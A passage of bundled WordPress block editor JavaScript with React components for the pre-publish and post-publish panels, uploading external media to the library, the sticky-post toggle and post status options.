      // even though it'll rewrite the file name to match the mime type.
      // Here we provide it with a safe extension to get it past that check.
      return new File([blob], `${basename}.png`, {
        type: blob.type
      });
    });
    return [url, filePromise];
  }));
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-upload-media.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function flattenBlocks(blocks) {
  const result = [];
  blocks.forEach(block => {
    result.push(block);
    result.push(...flattenBlocks(block.innerBlocks));
  });
  return result;
}

/**
 * Determine whether a block has external media.
 *
 * Different blocks use different attribute names (and potentially
 * different logic as well) in determining whether the media is
 * present, and whether it's external.
 *
 * @param {{name: string, attributes: Object}} block The block.
 * @return {boolean?} Whether the block has external media
 */
function hasExternalMedia(block) {
  if (block.name === 'core/image' || block.name === 'core/cover') {
    return block.attributes.url && !block.attributes.id;
  }
  if (block.name === 'core/media-text') {
    return block.attributes.mediaUrl && !block.attributes.mediaId;
  }
  return undefined;
}

/**
 * Retrieve media info from a block.
 *
 * Different blocks use different attribute names, so we need this
 * function to normalize things into a consistent naming scheme.
 *
 * @param {{name: string, attributes: Object}} block The block.
 * @return {{url: ?string, alt: ?string, id: ?number}} The media info for the block.
 */
function getMediaInfo(block) {
  if (block.name === 'core/image' || block.name === 'core/cover') {
    const {
      url,
      alt,
      id
    } = block.attributes;
    return {
      url,
      alt,
      id
    };
  }
  if (block.name === 'core/media-text') {
    const {
      mediaUrl: url,
      mediaAlt: alt,
      mediaId: id
    } = block.attributes;
    return {
      url,
      alt,
      id
    };
  }
  return {};
}

// Image component to represent a single image in the upload dialog.
function Image({
  clientId,
  alt,
  url
}) {
  const {
    selectBlock
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableMotion.img, {
    tabIndex: 0,
    role: "button",
    "aria-label": (0,external_wp_i18n_namespaceObject.__)('Select image block.'),
    onClick: () => {
      selectBlock(clientId);
    },
    onKeyDown: event => {
      if (event.key === 'Enter' || event.key === ' ') {
        selectBlock(clientId);
        event.preventDefault();
      }
    },
    alt: alt,
    src: url,
    animate: {
      opacity: 1
    },
    exit: {
      opacity: 0,
      scale: 0
    },
    style: {
      width: '32px',
      height: '32px',
      objectFit: 'cover',
      borderRadius: '2px',
      cursor: 'pointer'
    },
    whileHover: {
      scale: 1.08
    }
  }, clientId);
}
function MaybeUploadMediaPanel() {
  const [isUploading, setIsUploading] = (0,external_wp_element_namespaceObject.useState)(false);
  const [isAnimating, setIsAnimating] = (0,external_wp_element_namespaceObject.useState)(false);
  const [hadUploadError, setHadUploadError] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    editorBlocks,
    mediaUpload
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    editorBlocks: select(external_wp_blockEditor_namespaceObject.store).getBlocks(),
    mediaUpload: select(external_wp_blockEditor_namespaceObject.store).getSettings().mediaUpload
  }), []);

  // Get a list of blocks with external media.
  const blocksWithExternalMedia = flattenBlocks(editorBlocks).filter(block => hasExternalMedia(block));
  const {
    updateBlockAttributes
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  if (!mediaUpload || !blocksWithExternalMedia.length) {
    return null;
  }
  const panelBodyTitle = [(0,external_wp_i18n_namespaceObject.__)('Suggestion:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "editor-post-publish-panel__link",
    children: (0,external_wp_i18n_namespaceObject.__)('External media')
  }, "label")];

  /**
   * Update an individual block to point to newly-added library media.
   *
   * Different blocks use different attribute names, so we need this
   * function to ensure we modify the correct attributes for each type.
   *
   * @param {{name: string, attributes: Object}} block The block.
   * @param {{id: number, url: string}}          media Media library file info.
   */
  function updateBlockWithUploadedMedia(block, media) {
    if (block.name === 'core/image' || block.name === 'core/cover') {
      updateBlockAttributes(block.clientId, {
        id: media.id,
        url: media.url
      });
    }
    if (block.name === 'core/media-text') {
      updateBlockAttributes(block.clientId, {
        mediaId: media.id,
        mediaUrl: media.url
      });
    }
  }

  // Handle fetching and uploading all external media in the post.
  function uploadImages() {
    setIsUploading(true);
    setHadUploadError(false);

    // Multiple blocks can be using the same URL, so we
    // should ensure we only fetch and upload each of them once.
    const mediaUrls = new Set(blocksWithExternalMedia.map(block => {
      const {
        url
      } = getMediaInfo(block);
      return url;
    }));

    // Create an upload promise for each URL, that we can wait for in all
    // blocks that make use of that media.
    const uploadPromises = Object.fromEntries(Object.entries(fetchMedia([...mediaUrls])).map(([url, filePromise]) => {
      const uploadPromise = filePromise.then(blob => new Promise((resolve, reject) => {
        mediaUpload({
          filesList: [blob],
          onFileChange: ([media]) => {
            if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
              return;
            }
            resolve(media);
          },
          onError() {
            reject();
          }
        });
      }));
      return [url, uploadPromise];
    }));

    // Wait for all blocks to be updated with library media.
    Promise.allSettled(blocksWithExternalMedia.map(block => {
      const {
        url
      } = getMediaInfo(block);
      return uploadPromises[url].then(media => updateBlockWithUploadedMedia(block, media)).then(() => setIsAnimating(true)).catch(() => setHadUploadError(true));
    })).finally(() => {
      setIsUploading(false);
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
    initialOpen: true,
    title: panelBodyTitle,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      style: {
        display: 'inline-flex',
        flexWrap: 'wrap',
        gap: '8px'
      },
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, {
        onExitComplete: () => setIsAnimating(false),
        children: blocksWithExternalMedia.map(block => {
          const {
            url,
            alt
          } = getMediaInfo(block);
          return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Image, {
            clientId: block.clientId,
            url: url,
            alt: alt
          }, block.clientId);
        })
      }), isUploading || isAnimating ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        variant: "primary",
        onClick: uploadImages,
        children: (0,external_wp_i18n_namespaceObject._x)('Upload', 'verb')
      })]
    }), hadUploadError && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Upload failed, try again.')
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/prepublish.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */










function PostPublishPanelPrepublish({
  children
}) {
  const {
    isBeingScheduled,
    isRequestingSiteIcon,
    hasPublishAction,
    siteIconUrl,
    siteTitle,
    siteHome
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentPost$_link;
    const {
      getCurrentPost,
      isEditedPostBeingScheduled
    } = select(store_store);
    const {
      getEntityRecord,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const siteData = getEntityRecord('root', '__unstableBase', undefined) || {};
    return {
      hasPublishAction: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
      isBeingScheduled: isEditedPostBeingScheduled(),
      isRequestingSiteIcon: isResolving('getEntityRecord', ['root', '__unstableBase', undefined]),
      siteIconUrl: siteData.site_icon_url,
      siteTitle: siteData.name,
      siteHome: siteData.home && (0,external_wp_url_namespaceObject.filterURLForDisplay)(siteData.home)
    };
  }, []);
  let siteIcon = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
    className: "components-site-icon",
    size: "36px",
    icon: library_wordpress
  });
  if (siteIconUrl) {
    siteIcon = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
      alt: (0,external_wp_i18n_namespaceObject.__)('Site Icon'),
      className: "components-site-icon",
      src: siteIconUrl
    });
  }
  if (isRequestingSiteIcon) {
    siteIcon = null;
  }
  let prePublishTitle, prePublishBodyText;
  if (!hasPublishAction) {
    prePublishTitle = (0,external_wp_i18n_namespaceObject.__)('Are you ready to submit for review?');
    prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)('Your work will be reviewed and then approved.');
  } else if (isBeingScheduled) {
    prePublishTitle = (0,external_wp_i18n_namespaceObject.__)('Are you ready to schedule?');
    prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)('Your work will be published at the specified date and time.');
  } else {
    prePublishTitle = (0,external_wp_i18n_namespaceObject.__)('Are you ready to publish?');
    prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)('Double-check your settings before publishing.');
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-publish-panel__prepublish",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {
        children: prePublishTitle
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: prePublishBodyText
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "components-site-card",
      children: [siteIcon, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "components-site-info",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "components-site-name",
          children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle) || (0,external_wp_i18n_namespaceObject.__)('(Untitled)')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "components-site-home",
          children: siteHome
        })]
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MaybeUploadMediaPanel, {}), hasPublishAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
        initialOpen: false,
        title: [(0,external_wp_i18n_namespaceObject.__)('Visibility:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "editor-post-publish-panel__link",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibilityLabel, {})
        }, "label")],
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibility, {})
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
        initialOpen: false,
        title: [(0,external_wp_i18n_namespaceObject.__)('Publish:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
          className: "editor-post-publish-panel__link",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleLabel, {})
        }, "label")],
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedule, {})
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatPanel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(maybe_tags_panel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(maybe_category_panel, {}), children]
  });
}
/* harmony default export */ const prepublish = (PostPublishPanelPrepublish);

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/postpublish.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */



const POSTNAME = '%postname%';
const PAGENAME = '%pagename%';

/**
 * Returns URL for a future post.
 *
 * @param {Object} post Post object.
 *
 * @return {string} PostPublish URL.
 */

const getFuturePostUrl = post => {
  const {
    slug
  } = post;
  if (post.permalink_template.includes(POSTNAME)) {
    return post.permalink_template.replace(POSTNAME, slug);
  }
  if (post.permalink_template.includes(PAGENAME)) {
    return post.permalink_template.replace(PAGENAME, slug);
  }
  return post.permalink_template;
};
function postpublish_CopyButton({
  text
}) {
  const [showCopyConfirmation, setShowCopyConfirmation] = (0,external_wp_element_namespaceObject.useState)(false);
  const timeoutIdRef = (0,external_wp_element_namespaceObject.useRef)();
  const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text, () => {
    setShowCopyConfirmation(true);
    if (timeoutIdRef.current) {
      clearTimeout(timeoutIdRef.current);
    }
    timeoutIdRef.current = setTimeout(() => {
      setShowCopyConfirmation(false);
    }, 4000);
  });
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    return () => {
      if (timeoutIdRef.current) {
        clearTimeout(timeoutIdRef.current);
      }
    };
  }, []);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    __next40pxDefaultSize: true,
    variant: "secondary",
    ref: ref,
    children: showCopyConfirmation ? (0,external_wp_i18n_namespaceObject.__)('Copied!') : (0,external_wp_i18n_namespaceObject.__)('Copy')
  });
}
function PostPublishPanelPostpublish({
  focusOnMount,
  children
}) {
  const {
    post,
    postType,
    isScheduled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute,
      getCurrentPost,
      isCurrentPostScheduled
    } = select(store_store);
    const {
      getPostType
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      post: getCurrentPost(),
      postType: getPostType(getEditedPostAttribute('type')),
      isScheduled: isCurrentPostScheduled()
    };
  }, []);
  const postLabel = postType?.labels?.singular_name;
  const viewPostLabel = postType?.labels?.view_item;
  const addNewPostLabel = postType?.labels?.add_new_item;
  const link = post.status === 'future' ? getFuturePostUrl(post) : post.link;
  const addLink = (0,external_wp_url_namespaceObject.addQueryArgs)('post-new.php', {
    post_type: post.type
  });
  const postLinkRef = (0,external_wp_element_namespaceObject.useCallback)(node => {
    if (focusOnMount && node) {
      node.focus();
    }
  }, [focusOnMount]);
  const postPublishNonLinkHeader = isScheduled ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [(0,external_wp_i18n_namespaceObject.__)('is now scheduled. It will go live on'), ' ', /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleLabel, {}), "."]
  }) : (0,external_wp_i18n_namespaceObject.__)('is now live.');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "post-publish-panel__postpublish",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
      className: "post-publish-panel__postpublish-header",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("a", {
        ref: postLinkRef,
        href: link,
        children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title) || (0,external_wp_i18n_namespaceObject.__)('(no title)')
      }), ' ', postPublishNonLinkHeader]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
        className: "post-publish-panel__postpublish-subheader",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {
          children: (0,external_wp_i18n_namespaceObject.__)('What’s next?')
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "post-publish-panel__postpublish-post-address-container",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          className: "post-publish-panel__postpublish-post-address",
          readOnly: true,
          label: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: post type singular name */
          (0,external_wp_i18n_namespaceObject.__)('%s address'), postLabel),
          value: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(link),
          onFocus: event => event.target.select()
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "post-publish-panel__postpublish-post-address__copy-button-wrap",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(postpublish_CopyButton, {
            text: link
          })
        })]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "post-publish-panel__postpublish-buttons",
        children: [!isScheduled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: "primary",
          href: link,
          __next40pxDefaultSize: true,
          children: viewPostLabel
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          variant: isScheduled ? 'primary' : 'secondary',
          __next40pxDefaultSize: true,
          href: addLink,
          children: addNewPostLabel
        })]
      })]
    }), children]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/index.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */





class PostPublishPanel extends external_wp_element_namespaceObject.Component {
  constructor() {
    super(...arguments);
    this.onSubmit = this.onSubmit.bind(this);
    this.cancelButtonNode = (0,external_wp_element_namespaceObject.createRef)();
  }
  componentDidMount() {
    // This timeout is necessary to make sure the `useEffect` hook of
    // `useFocusReturn` gets the correct element (the button that opens the
    // PostPublishPanel) otherwise it will get this button.
    this.timeoutID = setTimeout(() => {
      this.cancelButtonNode.current.focus();
    }, 0);
  }
  componentWillUnmount() {
    clearTimeout(this.timeoutID);
  }
  componentDidUpdate(prevProps) {
    // Automatically collapse the publish sidebar when a post
    // is published and the user makes an edit.
    if (prevProps.isPublished && !this.props.isSaving && this.props.isDirty || this.props.currentPostId !== prevProps.currentPostId) {
      this.props.onClose();
    }
  }
  onSubmit() {
    const {
      onClose,
      hasPublishAction,
      isPostTypeViewable
    } = this.props;
    if (!hasPublishAction || !isPostTypeViewable) {
      onClose();
    }
  }
  render() {
    const {
      forceIsDirty,
      isBeingScheduled,
      isPublished,
      isPublishSidebarEnabled,
      isScheduled,
      isSaving,
      isSavingNonPostEntityChanges,
      onClose,
      onTogglePublishSidebar,
      PostPublishExtension,
      PrePublishExtension,
      currentPostId,
      ...additionalProps
    } = this.props;
    const {
      hasPublishAction,
      isDirty,
      isPostTypeViewable,
      ...propsForPanel
    } = additionalProps;
    const isPublishedOrScheduled = isPublished || isScheduled && isBeingScheduled;
    const isPrePublish = !isPublishedOrScheduled && !isSaving;
    const isPostPublish = isPublishedOrScheduled && !isSaving;
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
      className: "editor-post-publish-panel",
      ...propsForPanel,
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "editor-post-publish-panel__header",
        children: isPostPublish ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "compact",
          onClick: onClose,
          icon: close_small,
          label: (0,external_wp_i18n_namespaceObject.__)('Close panel')
        }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "editor-post-publish-panel__header-cancel-button",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              ref: this.cancelButtonNode,
              accessibleWhenDisabled: true,
              disabled: isSavingNonPostEntityChanges,
              onClick: onClose,
              variant: "secondary",
              size: "compact",
              children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
            })
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
            className: "editor-post-publish-panel__header-publish-button",
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_publish_button, {
              onSubmit: this.onSubmit,
              forceIsDirty: forceIsDirty
            })
          })]
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "editor-post-publish-panel__content",
        children: [isPrePublish && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(prepublish, {
          children: PrePublishExtension && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrePublishExtension, {})
        }), isPostPublish && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPublishPanelPostpublish, {
          focusOnMount: true,
          children: PostPublishExtension && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPublishExtension, {})
        }), isSaving && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})]
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
        className: "editor-post-publish-panel__footer",
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
          __nextHasNoMarginBottom: true,
          label: (0,external_wp_i18n_namespaceObject.__)('Always show pre-publish checks.'),
          checked: isPublishSidebarEnabled,
          onChange: onTogglePublishSidebar
        })
      })]
    });
  }
}

/**
 * Renders a panel for publishing a post.
 */
/* harmony default export */ const post_publish_panel = ((0,external_wp_compose_namespaceObject.compose)([(0,external_wp_data_namespaceObject.withSelect)(select => {
  var _getCurrentPost$_link;
  const {
    getPostType
  } = select(external_wp_coreData_namespaceObject.store);
  const {
    getCurrentPost,
    getCurrentPostId,
    getEditedPostAttribute,
    isCurrentPostPublished,
    isCurrentPostScheduled,
    isEditedPostBeingScheduled,
    isEditedPostDirty,
    isAutosavingPost,
    isSavingPost,
    isSavingNonPostEntityChanges
  } = select(store_store);
  const {
    isPublishSidebarEnabled
  } = select(store_store);
  const postType = getPostType(getEditedPostAttribute('type'));
  return {
    hasPublishAction: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
    isPostTypeViewable: postType?.viewable,
    isBeingScheduled: isEditedPostBeingScheduled(),
    isDirty: isEditedPostDirty(),
    isPublished: isCurrentPostPublished(),
    isPublishSidebarEnabled: isPublishSidebarEnabled(),
    isSaving: isSavingPost() && !isAutosavingPost(),
    isSavingNonPostEntityChanges: isSavingNonPostEntityChanges(),
    isScheduled: isCurrentPostScheduled(),
    currentPostId: getCurrentPostId()
  };
}), (0,external_wp_data_namespaceObject.withDispatch)((dispatch, {
  isPublishSidebarEnabled
}) => {
  const {
    disablePublishSidebar,
    enablePublishSidebar
  } = dispatch(store_store);
  return {
    onTogglePublishSidebar: () => {
      if (isPublishSidebarEnabled) {
        disablePublishSidebar();
      } else {
        enablePublishSidebar();
      }
    }
  };
}), external_wp_components_namespaceObject.withFocusReturn, external_wp_components_namespaceObject.withConstrainedTabbing])(PostPublishPanel));

;// ./node_modules/@wordpress/icons/build-module/library/cloud-upload.js
/**
 * WordPress dependencies
 */


const cloudUpload = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z"
  })
});
/* harmony default export */ const cloud_upload = (cloudUpload);

;// ./node_modules/@wordpress/icons/build-module/library/cloud.js
/**
 * WordPress dependencies
 */


const cloud = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z"
  })
});
/* harmony default export */ const library_cloud = (cloud);

;// ./node_modules/@wordpress/editor/build-module/components/post-sticky/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Wrapper component that renders its children only if post has a sticky action.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} The component to be rendered or null if post type is not 'post' or hasStickyAction is false.
 */
function PostStickyCheck({
  children
}) {
  const {
    hasStickyAction,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _post$_links$wpActio;
    const post = select(store_store).getCurrentPost();
    return {
      hasStickyAction: (_post$_links$wpActio = post._links?.['wp:action-sticky']) !== null && _post$_links$wpActio !== void 0 ? _post$_links$wpActio : false,
      postType: select(store_store).getCurrentPostType()
    };
  }, []);
  if (postType !== 'post' || !hasStickyAction) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-sticky/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */



/**
 * Renders the PostSticky component. It provides a checkbox control for the sticky post feature.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostSticky() {
  const postSticky = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getEditedPost;
    return (_select$getEditedPost = select(store_store).getEditedPostAttribute('sticky')) !== null && _select$getEditedPost !== void 0 ? _select$getEditedPost : false;
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostStickyCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
      className: "editor-post-sticky__checkbox-control",
      label: (0,external_wp_i18n_namespaceObject.__)('Sticky'),
      help: (0,external_wp_i18n_namespaceObject.__)('Pin this post to the top of the blog'),
      checked: postSticky,
      onChange: () => editPost({
        sticky: !postSticky
      }),
      __nextHasNoMarginBottom: true
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-status/index.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */






const postStatusesInfo = {
  'auto-draft': {
    label: (0,external_wp_i18n_namespaceObject.__)('Draft'),
    icon: library_drafts
  },
  draft: {
    label: (0,external_wp_i18n_namespaceObject.__)('Draft'),
    icon: library_drafts
  },
  pending: {
    label: (0,external_wp_i18n_namespaceObject.__)('Pending'),
    icon: library_pending
  },
  private: {
    label: (0,external_wp_i18n_namespaceObject.__)('Private'),
    icon: not_allowed
  },
  future: {
    label: (0,external_wp_i18n_namespaceObject.__)('Scheduled'),
    icon: library_scheduled
  },
  publish: {
    label: (0,external_wp_i18n_namespaceObject.__)('Published'),
    icon: library_published
  }
};
const STATUS_OPTIONS = [{
  label: (0,external_wp_i18n_namespaceObject.__)('Draft'),
  value: 'draft',
  description: (0,external_wp_i18n_namespaceObject.__)('Not ready to publish.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Pending'),
  value: 'pending',
  description: (0,external_wp_i18n_namespaceObject.__)('Waiting for review before publishing.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Private'),
  value: 'private',
  description: (0,external_wp_i18n_namespaceObject.__)('Only visible to site admins and editors.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Scheduled'),
  value: 'future',
  description: (0,external_wp_i18n_namespaceObject.__)('Publish automatically on a chosen date.')
}, {
  label: (0,external_wp_i18n_namespaceObject.__)('Published'),
  value: 'publish',
  description: (0,external_wp_i18n_namespaceObject.__)('Visible to everyone.')
}];
